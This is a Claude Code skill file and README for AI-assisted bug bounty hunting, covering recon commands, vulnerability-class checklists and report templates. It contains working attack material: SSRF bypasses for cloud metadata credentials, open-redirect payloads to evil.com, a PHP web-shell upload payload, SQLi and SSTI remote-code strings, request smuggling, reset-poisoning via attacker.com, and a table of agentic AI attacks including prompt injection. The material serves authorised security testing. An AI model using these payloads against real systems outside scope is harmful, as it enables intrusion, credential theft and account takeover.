by shuvonsec
Claude Code skill for AI-assisted bug bounty hunting — recon, IDOR, XSS, SSRF, OAuth, GraphQL, LLM injection, and report generation
# Add to your Claude Code skills
git clone https://github.com/shuvonsec/claude-bug-bountyFull pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
| Pattern | Kill Reason | |---|---| | "Could theoretically allow..." | Not exploitable = not a bug | | "An attacker with X, Y, Z conditions could..." | Too many preconditions | | "Wrong implementation but no practical impact" | Wrong but harmless = not a bug | | Dead code with a bug in it | Not reachable = not a bug | | Source maps without secrets | No impact | | SSRF with DNS-only callback | Need data exfil or internal access | | Open redirect alone | Need ATO or OAuth chain | | "Could be used in a chain if..." | Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
| Bug A (Signal) | Hunt for Bug B | Escalate to C | |----------------|---------------|---------------| | IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation | | SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE | | XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO | | Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO | | S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain | | Rate limit bypass | OTP brute force | Account takeover | | GraphQL introspection | Missing field-level auth | Mass PII exfil | | Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access | | CORS reflects origin | Test with credentials: include | Credentialed data theft | | Host header injection | Password reset poisoning | ATO via reset link |
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
Think like the developer who built the feature:
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
| Tool | Use | |------|-----| | subfinder | Passive subdomain enum | | httpx | Probe live hosts | | dnsx | DNS resolution | | nuclei | Template scanner | | katana | Crawl | | waybackurls | Archive URLs | | gau | Known URLs | | dalfox | XSS scanner | | ffuf | Fuzzer | | anew | Dedup append | | qsreplace | Replace param values | | assetfinder | Subdomain enum | | gf | Grep patterns (xss, sqli, ssrf, redirect) | | interactsh-client | OOB callbacks |
| Tool | Use | Install |
|------|-----|---------|
| arjun | Hidden parameter discovery | pip3 install arjun |
| paramspider | URL parameter mining | pip3 install paramspider |
| kiterunner | API endpoint brute | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | Cloud asset enumeration | pip3 install cloud_enum |
| trufflehog | Secret scanning | brew install trufflehog |
| gitleaks | Secret scanning | brew install gitleaks |
| XSStrike | Advanced XSS scanner | pip3 install xsstrike |
| SecretFinder | JS secret extraction | pip3 install secretfinder |
| sqlmap | SQL injection | pip3 install sqlmap |
| subzy | Subdomain takeover | go install github.com/LukaSikic/subzy@latest |
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
subjack, subzy).git (/.git/config)/.env, /.env.local)?redirect=, ?next=, ?url=)Origin: https://evil.com + credentials)/actuator/env, /actuator/heapdump)https://TARGET.firebaseio.com/.json)| Signal | Technology |
|---|---|
| Cookie: XSRF-TOKEN + *_session | Laravel |
| Cookie: PHPSESSID | PHP |
| Header: X-Powered-By: Express | Node.js/Express |
| Response: wp-json/wp-content | WordPress |
| Response: {"errors":[{"message": | GraphQL |
| Header: X-Powered-By: Next.js | Next.js |
Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log
WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1
Node.js: /.env, /graphql (introspection), /_debug
AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
timingSafeEqual in one place, === elsewhere/api/v1/ guarded but /api/ isn't# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
X-Forwarded-For: 127.0.0.1)redirect_uriPanic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.
Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
#1 most paid web2 class -- 30% of all submissions that get paid.
| Variant | What to Test |
|---------|-------------|
| V1: Direct | Change object ID in URL path /api/users/123 -> /api/users/456 |
| V2: Body param | Change ID in POST/PUT JSON body {"user_id": 456} |
| V3: GraphQL node | { node(id: "base64(OtherType:123)") { ... } } |
| V4: Batch/bulk | /api/users?ids=1,2,3,4,5 -- request multiple IDs at once |
| V5: Nested | Change parent ID: /orgs/{org_id}/users/{user_id} |
| V6: File path | /files/download?path=../other-user/file.pdf |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try /api/v1/ same endpoint |
| V10: Header injection | X-User-ID: victim_id, X-Org-ID: victim_org |
?user_id=other_userhttp://169.254.169.254/latest/meta-data/http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)file://, dict://, gopher://| Bypass | Payload | Notes |
|--------|---------|-------|
| Decimal IP | http://2130706433/ | 127.0.0.1 as single decimal |
| Hex IP | http://0x7f000001/ | Hex representation |
| Octal IP | http://0177.0.0.1/ | Octal 0177 = 127 |
| Short IP | http://127.1/ | Abbreviated notation |
| IPv6 | http://[::1]/ | Loopback in IPv6 |
| IPv6-mapped | http://[::ffff:127.0.0.1]/ | IPv4-mapped IPv6 |
| Redirect chain | http://attacker.com/302->http://169.254.169.254 | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
| URL encoding | http://127.0.0.1%2523@attacker.com | Parser confusion |
| Enclosed alphanumeric | http://①②⑦.⓪.⓪.① | Unicode numerals |
| Protocol smuggling | gopher://127.0.0.1:6379/_INFO | Redis/other protocols |
state parameter -> CSRFredirect_uri accepts wildcards -> ATOUse these when chaining open redirect into OAuth code theft:
| Bypass | Payload | Notes |
|--------|---------|-------|
| Double URL encoding | %252F%252F | Decodes to // after double decode |
| Backslash | https://target.com\@evil.com | Some parsers normalize \ to / |
| Missing protocol | //evil.com | Protocol-relative |
| @-trick | https://target.com@evil.com | target.com becomes username |
| Protocol-relative | ///evil.com | Triple slash |
| Tab/newline injection | //evil%09.com | Whitespace in hostname |
| Fragment trick | https://evil.com#target.com | Fragment misleads validation |
| Null byte | https://evil.com%00target.com | Some parsers truncate at null |
| Parameter pollution | ?next=target.com&next=evil.com | Last value wins |
| Path confusion | /redirect/..%2F..%2Fevil.com | Path traversal in redirect |
| Unicode normalization | https://evil.com/target.com | Visual confusion |
| Bypass | Technique |
|--------|-----------|
| Double extension | file.php.jpg, file.php%00.jpg |
| Case variation | file.pHp, file.PHP5 |
| Alternative extensions | .phtml, .phar, .shtml, .inc |
| Content-Type spoof | image/jpeg header with PHP content |
| Magic bytes | GIF89a; <?php system($_GET['c']); ?> |
| .htaccess upload | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | ../../etc/cron.d/shell in filename inside archive |
| Type | Hex |
|------|-----|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
| PDF | 25 50 44 46 |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
{ __schema { types { name fields { name type { name } } } } }
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]
When target has AI agents with tool access, these are the 10 attack classes:
| ID | Vuln Class | What to Test | |----|-----------|-------------| | ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules | | ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) | | ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context | | ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user | | ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content | | ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay | | ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM | | ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered | | ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls | | ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response?param=value;poison=xss)/account/settings.css -- trick cache into storing private response)Transfer-Encoding: xchunked, tab prefix, space prefixPOST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
pull_request_target with checkout of PR code{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{["id"]|filter("system")}}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<%= `id` %>
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
After clicking reset link, if page loads external resources -> token in Referer header to external domain.
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim
Can you link an OAuth account from a different email to an existing account?
GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01
curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/env
# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json
All 7 must be YES. Any NO -> STOP.
Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
No "the user would need to..." with 5 preconditions. Victim did nothing special.
"Technically possible" is not impact. "I read victim's SSN" is impact.
Check the exact domain/endpoint against the program's scope page.
Search the program's disclosed reports and recent changelog entries.
Check the list below. If it's there and you can't chain it -> KILL IT.
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) | |--------|-------------|----------------|--------------|-----------------| | Attack Vector | Physical | Local | Adjacent | Network | | Privileges | High | Low | None | None | | User Interaction | Required | Required | None | None | | Impact | Partial | Partial | High | High (all 3) |
| Bug | Typical CVSS | Severity | |----|------|---------| | IDOR (read PII) | 6.5 | Medium | | IDOR (write/delete) | 7.5 | High | | Auth bypass -> admin | 9.8 | Critical | | Stored XSS | 5.4-8.8 | Med-High | | SQLi (data exfil) | 8.6 | High | | SSRF (cloud metadata) | 9.1 | Critical | | Race condition (double spend) | 7.5 | High | | GraphQL auth bypass | 8.7 | High | | JWT none algorithm | 9.1 | Critical |
Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
These low findings become valid bugs when chained:
| Low Finding | + Chain | = Valid Bug | |------------|---------|-------------| | Open redirect | + OAuth code theft | ATO | | Clickjacking | + sensitive action + PoC | Account action | | CORS wildcard | + credentialed exfil | Data theft | | CSRF | + sensitive state change | Account takeover | | No rate limit | + OTP brute force | ATO | | SSRF (DNS only) | + internal access proof | Internal network access | | Host header injection | + password reset poisoning | ATO | | Self-XSS | + login CSRF | Stored XSS on victim |
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
Bad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
When payout is being downgraded, use these counters:
| Program Says | You Counter With | |---|---| | "Requires authentication" | "Attacker needs only a free account (no special role)" | | "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" | | "Already known" | "Show me the report number -- I searched and found none" | | "By design" | "Show me the documentation that states this is intended" | | "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |
To use this as a Claude Code skill, copy this file to your skills directory:
# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.md
Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
AI-powered bug bounty hunting from your terminal.
<sub>by <a href="https://github.com/shuvonsec">shuvonsec</a></sub>
Quick Start · Architecture · Tools · Vuln Classes · Install
</div>Point Claude Code at any bug bounty target. It maps the attack surface, runs your scanners, validates findings through a 4-gate checklist, and writes submission-ready reports -- all from a single conversation.
Most bug bounty toolkits give you a bag of scripts. This one gives you a co-pilot that reasons about what to test and why. Claude reads your recon output, prioritizes by payout likelihood, and drives 25+ tools in the right order.
| Repo | Purpose | |:-----|:--------| | claude-bug-bounty | Full hunting pipeline -- recon, scanning, validation, reporting | | web3-bug-bounty-hunting-ai-skills | Smart contract security -- 10 bug classes, Foundry PoCs, Immunefi case studies | | public-skills-builder | Ingest 500+ public writeups and generate Claude skill files |
public-skills-builder generates knowledge → web3-bounty-ai-skills holds it → claude-bug-bounty runs the hunt.
1. Clone and install
git clone https://github.com/shuvonsec/claude-bug-bounty.git
cd claude-bug-bounty
chmod +x install_tools.sh && ./install_tools.sh
2. Install the Claude Code skill
mkdir -p ~/.claude/skills/bug-bounty
cp SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
3. Hunt
claude
# "Run recon on target.com and tell me what to hunt"
# "I found a potential IDOR on /api/invoices — validate it"
# "Write a HackerOne report for this SSRF finding"
<details>
<summary><strong>Or run the pipeline directly (no Claude Code)</strong></summary>
pytho...
No comments yet. Be the first to share your thoughts!